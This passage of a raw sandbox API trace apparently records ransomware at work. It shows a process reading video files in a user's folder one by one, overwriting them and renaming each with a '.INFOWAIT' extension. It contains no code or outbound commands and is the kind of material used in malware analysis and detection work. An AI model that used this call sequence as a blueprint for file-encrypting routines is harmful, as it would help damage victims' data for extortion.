HALPmcxz\\Videos\\834k5gI2.avi.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\834k5gi2.avi.infowait")) returned 1 [0121.133] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.134] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.135] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.135] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8HC y_m_mnm8.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\8hc y_m_mnm8.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0121.135] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1493 [0121.135] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.135] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.135] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1493, lpOverlapped=0x0) returned 1 [0121.139] VirtualAlloc (lpAddress=0x0, dwSize=0x1493, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.140] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.140] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1493, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1493, lpOverlapped=0x0) returned 1 [0121.140] CloseHandle (hObject=0xad0) returned 1 [0121.145] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8HC y_m_mnm8.swf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8HC y_m_mnm8.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8HC y_m_mnm8.swf" [0121.145] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8HC y_m_mnm8.swf", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8HC y_m_mnm8.swf.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8HC y_m_mnm8.swf.INFOWAIT" [0121.145] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8HC y_m_mnm8.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\8hc y_m_mnm8.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8HC y_m_mnm8.swf.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\8hc y_m_mnm8.swf.infowait")) returned 1 [0121.146] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.147] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.148] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.148] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8oeI6XU5 vjIz.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\8oei6xu5 vjiz.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0121.148] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xcd1b [0121.148] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.148] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.148] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xcd1b, lpOverlapped=0x0) returned 1 [0121.152] VirtualAlloc (lpAddress=0x0, dwSize=0xcd1b, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.157] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.157] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xcd1b, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xcd1b, lpOverlapped=0x0) returned 1 [0121.157] CloseHandle (hObject=0xad0) returned 1 [0121.158] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8oeI6XU5 vjIz.avi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8oeI6XU5 vjIz.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8oeI6XU5 vjIz.avi" [0121.158] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8oeI6XU5 vjIz.avi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8oeI6XU5 vjIz.avi.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8oeI6XU5 vjIz.avi.INFOWAIT" [0121.158] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8oeI6XU5 vjIz.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\8oei6xu5 vjiz.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8oeI6XU5 vjIz.avi.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\8oei6xu5 vjiz.avi.infowait")) returned 1 [0121.160] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.161] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.161] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.161] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0121.162] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1f8 [0121.162] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.162] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.162] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1f8, lpOverlapped=0x0) returned 1 [0121.165] VirtualAlloc (lpAddress=0x0, dwSize=0x1f8, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.166] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.166] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1f8, lpOverlapped=0x0) returned 1 [0121.166] CloseHandle (hObject=0xad0) returned 1 [0121.167] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini" [0121.167] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini.INFOWAIT" [0121.167] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\desktop.ini.infowait")) returned 1 [0121.168] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.169] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.169] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.169] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\-x3FnD.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\-x3fnd.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.170] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x82dd [0121.170] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.171] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.171] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x82dd, lpOverlapped=0x0) returned 1 [0121.175] VirtualAlloc (lpAddress=0x0, dwSize=0x82dd, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.177] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.177] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x82dd, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x82dd, lpOverlapped=0x0) returned 1 [0121.178] CloseHandle (hObject=0xad4) returned 1 [0121.179] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\-x3FnD.avi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\-x3FnD.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\-x3FnD.avi" [0121.179] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\-x3FnD.avi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\-x3FnD.avi.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\-x3FnD.avi.INFOWAIT" [0121.179] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\-x3FnD.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\-x3fnd.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\-x3FnD.avi.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\-x3fnd.avi.infowait")) returned 1 [0121.180] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.181] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.181] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.181] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\3w7z.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\3w7z.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.182] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9392 [0121.182] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.183] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.183] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x9392, lpOverlapped=0x0) returned 1 [0121.186] VirtualAlloc (lpAddress=0x0, dwSize=0x9392, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.190] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.190] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x9392, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x9392, lpOverlapped=0x0) returned 1 [0121.190] CloseHandle (hObject=0xad4) returned 1 [0121.195] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\3w7z.flv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\3w7z.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\3w7z.flv" [0121.196] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\3w7z.flv", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\3w7z.flv.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\3w7z.flv.INFOWAIT" [0121.197] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\3w7z.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\3w7z.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\3w7z.flv.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\3w7z.flv.infowait")) returned 1 [0121.199] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.200] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.201] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.201] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\baHs2DdbqE.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\bahs2ddbqe.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.201] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85ab [0121.201] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.202] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.202] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85ab, lpOverlapped=0x0) returned 1 [0121.205] VirtualAlloc (lpAddress=0x0, dwSize=0x85ab, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.208] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.209] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85ab, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85ab, lpOverlapped=0x0) returned 1 [0121.209] CloseHandle (hObject=0xad4) returned 1 [0121.214] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\baHs2DdbqE.swf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\baHs2DdbqE.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\baHs2DdbqE.swf" [0121.214] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\baHs2DdbqE.swf", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\baHs2DdbqE.swf.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\baHs2DdbqE.swf.INFOWAIT" [0121.214] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\baHs2DdbqE.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\bahs2ddbqe.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\baHs2DdbqE.swf.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\bahs2ddbqe.swf.infowait")) returned 1 [0121.215] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.216] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.217] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.217] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\BflhCY_h.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\bflhcy_h.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.220] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x610c [0121.220] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.220] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.220] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x610c, lpOverlapped=0x0) returned 1 [0121.226] VirtualAlloc (lpAddress=0x0, dwSize=0x610c, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.229] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.229] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x610c, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x610c, lpOverlapped=0x0) returned 1 [0121.229] CloseHandle (hObject=0xad4) returned 1 [0121.234] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\BflhCY_h.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\BflhCY_h.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\BflhCY_h.mp4" [0121.234] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\BflhCY_h.mp4", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\BflhCY_h.mp4.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\BflhCY_h.mp4.INFOWAIT" [0121.234] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\BflhCY_h.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\bflhcy_h.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\BflhCY_h.mp4.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\bflhcy_h.mp4.infowait")) returned 1 [0121.235] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.236] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.237] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.237] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\CrDx78k.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\crdx78k.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.237] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x143b0 [0121.237] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.238] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.238] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x143b0, lpOverlapped=0x0) returned 1 [0121.242] VirtualAlloc (lpAddress=0x0, dwSize=0x143b0, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0121.249] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.249] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x143b0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x143b0, lpOverlapped=0x0) returned 1 [0121.249] CloseHandle (hObject=0xad4) returned 1 [0121.252] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\CrDx78k.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\CrDx78k.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\CrDx78k.mkv" [0121.252] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\CrDx78k.mkv", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\CrDx78k.mkv.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\CrDx78k.mkv.INFOWAIT" [0121.252] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\CrDx78k.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\crdx78k.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\CrDx78k.mkv.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\crdx78k.mkv.infowait")) returned 1 [0121.252] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.253] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.254] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 